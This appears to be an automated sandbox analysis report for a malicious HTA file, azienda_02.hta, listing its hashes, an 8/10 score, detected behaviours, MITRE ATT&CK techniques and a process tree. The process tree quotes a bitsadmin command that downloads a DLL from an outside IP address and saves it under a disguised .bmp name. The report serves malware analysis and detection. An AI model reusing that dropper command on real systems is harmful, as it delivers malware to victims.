3c0b6dabe9236fae0903267518fae1236a76ed847c8339bf72ad8efea16c6e2e

Analysis

max time kernel
145s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
07/02/2023, 08:43

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General

Target
azienda_02.hta
Size 6KB
Sample230207-kmklwsae73
SHA256 d053cd2fb41966e2006baaeff5d4362243a2920bfa6756ed1bc711a05b2d3fee
MD5 94045dbfad80169ceafd5bf795e93830
SHA1 98fd2109c6f3cce147cee19b1c8d4119773869a6
SHA512 e129f6fc4ba9ac817bc4ac7d59208c98abf61e5770507b4ee01efb5d6f477d432363a2898869559ab1baf9b724897ccf8dac9e9dabffdbf7de9abc9e92fc6aa8
SSDEEP 192:SbUtU77rIKdn863jMM0OD9+VVF48xYkuX:SYE7EOM7/F4kuX
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	4816	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
2572	bitsadmin.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4816 wrote to memory of 2572	4816	mshta.exe	82
PID 4816 wrote to memory of 2572	4816	mshta.exe	82
PID 4816 wrote to memory of 2572	4816	mshta.exe	82

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\azienda_02.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4816
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer 8 http://193.0.179.30/azienda.dll C:\Windows\\System32\\LogFiles\\\login.bmp
  2⤵
  - Download via BitsAdmin
  PID:2572

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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